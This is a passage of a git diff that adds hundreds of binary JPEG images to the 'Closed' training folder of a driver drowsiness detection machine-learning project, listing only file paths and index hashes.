Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_415.jpg new file mode 100644 index 00000000..1cb1eab8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_415.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_417.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_417.jpg new file mode 100644 index 00000000..bd632aee Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_417.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_418.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_418.jpg new file mode 100644 index 00000000..f56982c9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_418.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_419.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_419.jpg new file mode 100644 index 00000000..70f773ef Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_419.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_42.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_42.jpg new file mode 100644 index 00000000..647da747 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_42.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_420.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_420.jpg new file mode 100644 index 00000000..8709c477 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_420.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_421.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_421.jpg new file mode 100644 index 00000000..03276a9f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_421.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_422.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_422.jpg new file mode 100644 index 00000000..ba2fb2ab Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_422.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_423.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_423.jpg new file mode 100644 index 00000000..b140c4b7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_423.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_424.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_424.jpg new file mode 100644 index 00000000..865a6491 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_424.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_425.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_425.jpg new file mode 100644 index 00000000..7a3befd3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_425.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_426.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_426.jpg new file mode 100644 index 00000000..5bff4b7c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_426.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_427.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_427.jpg new file mode 100644 index 00000000..3584780d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_427.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_428.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_428.jpg new file mode 100644 index 00000000..226fb089 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_428.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_429.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_429.jpg new file mode 100644 index 00000000..ed93a06e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_429.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_43.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_43.jpg new file mode 100644 index 00000000..72f353e8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_43.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_430.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_430.jpg new file mode 100644 index 00000000..81636ff9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_430.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_431.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_431.jpg new file mode 100644 index 00000000..4e5e829d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_431.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_432.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_432.jpg new file mode 100644 index 00000000..4718fad1 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_432.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_433.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_433.jpg new file mode 100644 index 00000000..05ef2f21 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_433.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_435.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_435.jpg new file mode 100644 index 00000000..074f039e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_435.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_436.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_436.jpg new file mode 100644 index 00000000..912de671 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_436.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_437.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_437.jpg new file mode 100644 index 00000000..09c52ad8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_437.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_438.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_438.jpg new file mode 100644 index 00000000..3e2c0ed5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_438.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_44.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_44.jpg new file mode 100644 index 00000000..348eb04e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_44.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_440.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_440.jpg new file mode 100644 index 00000000..de1e47b3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_440.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_443.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_443.jpg new file mode 100644 index 00000000..7f2485dc Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_443.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_444.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_444.jpg new file mode 100644 index 00000000..e0b4eae9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_444.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_445.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_445.jpg new file mode 100644 index 00000000..798df4f6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_445.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_446.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_446.jpg new file mode 100644 index 00000000..fec5018e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_446.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_448.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_448.jpg new file mode 100644 index 00000000..2baa21a7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_448.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_449.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_449.jpg new file mode 100644 index 00000000..fe335998 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_449.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_450.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_450.jpg new file mode 100644 index 00000000..9feaa8f6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_450.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_452.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_452.jpg new file mode 100644 index 00000000..628c1696 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_452.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_453.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_453.jpg new file mode 100644 index 00000000..05a220cf Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_453.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_454.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_454.jpg new file mode 100644 index 00000000..ba1fdead Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_454.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_455.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_455.jpg new file mode 100644 index 00000000..22145816 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_455.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_456.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_456.jpg new file mode 100644 index 00000000..6834ad10 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_456.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_457.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_457.jpg new file mode 100644 index 00000000..e892b333 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_457.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_458.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_458.jpg new file mode 100644 index 00000000..8530b9bd Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_458.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_459.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_459.jpg new file mode 100644 index 00000000..aa604e61 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_459.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_460.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_460.jpg new file mode 100644 index 00000000..42c51850 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_460.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_461.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_461.jpg new file mode 100644 index 00000000..89dc0266 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_461.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_462.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_462.jpg new file mode 100644 index 00000000..55cd2798 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_462.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_463.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_463.jpg new file mode 100644 index 00000000..691f75d5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_463.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_464.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_464.jpg new file mode 100644 index 00000000..0e1c5436 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_464.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_465.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_465.jpg new file mode 100644 index 00000000..4ed890a0 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_465.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_466.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_466.jpg new file mode 100644 index 00000000..9d96d9dd Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_466.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_467.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_467.jpg new file mode 100644 index 00000000..37056884 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_467.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_468.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_468.jpg new file mode 100644 index 00000000..94f047dd Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_468.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_469.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_469.jpg new file mode 100644 index 00000000..285621dd Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_469.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_47.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_47.jpg new file mode 100644 index 00000000..1087a337 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_47.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_470.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_470.jpg new file mode 100644 index 00000000..87a18df5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_470.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_471.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_471.jpg new file mode 100644 index 00000000..c0ab4c6a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_471.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_472.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_472.jpg new file mode 100644 index 00000000..848ef1b3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_472.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_473.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_473.jpg new file mode 100644 index 00000000..c7eac7af Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_473.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_474.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_474.jpg new file mode 100644 index 00000000..d701ef6d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_474.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_475.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_475.jpg new file mode 100644 index 00000000..bbb1ea02 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_475.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_476.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_476.jpg new file mode 100644 index 00000000..01c06d29 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_476.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_477.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_477.jpg new file mode 100644 index 00000000..34f72a21 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_477.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_478.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_478.jpg new file mode 100644 index 00000000..bb0c00ec Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_478.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_479.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_479.jpg new file mode 100644 index 00000000..8620164a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_479.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_48.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_48.jpg new file mode 100644 index 00000000..fa6ef6f5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_48.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_480.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_480.jpg new file mode 100644 index 00000000..af9bac54 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_480.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_481.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_481.jpg new file mode 100644 index 00000000..1a46d1cb Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_481.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_482.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_482.jpg new file mode 100644 index 00000000..b625fb1e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_482.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_483.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_483.jpg new file mode 100644 index 00000000..9cd6679c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_483.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_484.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_484.jpg new file mode 100644 index 00000000..7adbc2f1 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_484.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_485.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_485.jpg new file mode 100644 index 00000000..9ccf15c2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_485.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_486.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_486.jpg new file mode 100644 index 00000000..674c8245 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_486.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_487.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_487.jpg new file mode 100644 index 00000000..417ce765 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_487.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_488.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_488.jpg new file mode 100644 index 00000000..f3f78436 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_488.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_489.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_489.jpg new file mode 100644 index 00000000..4d4dd3e8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_489.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_49.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_49.jpg new file mode 100644 index 00000000..149fcba6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_49.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_490.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_490.jpg new file mode 100644 index 00000000..bc2ff9f6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_490.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_491.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_491.jpg new file mode 100644 index 00000000..db16c0e7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_491.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_492.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_492.jpg new file mode 100644 index 00000000..710771e6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_492.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_493.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_493.jpg new file mode 100644 index 00000000..266fbe9c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_493.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_494.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_494.jpg new file mode 100644 index 00000000..06d1a8a8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_494.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_496.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_496.jpg new file mode 100644 index 00000000..4ab9f4ca Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_496.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_499.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_499.jpg new file mode 100644 index 00000000..e3b2e77a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_499.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_5.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_5.jpg new file mode 100644 index 00000000..ef909679 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_5.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_50.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_50.jpg new file mode 100644 index 00000000..de4073c2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_50.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_500.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_500.jpg new file mode 100644 index 00000000..080d65c6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_500.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_501.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_501.jpg new file mode 100644 index 00000000..038f932b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_501.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_502.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_502.jpg new file mode 100644 index 00000000..b6c25ce3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_502.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_503.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_503.jpg new file mode 100644 index 00000000..8f0c4b84 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_503.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_504.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Closed/_504.jpg new file mode 100644 index 00000000..2157be8b Binary files /dev/null and b/MachineLearning 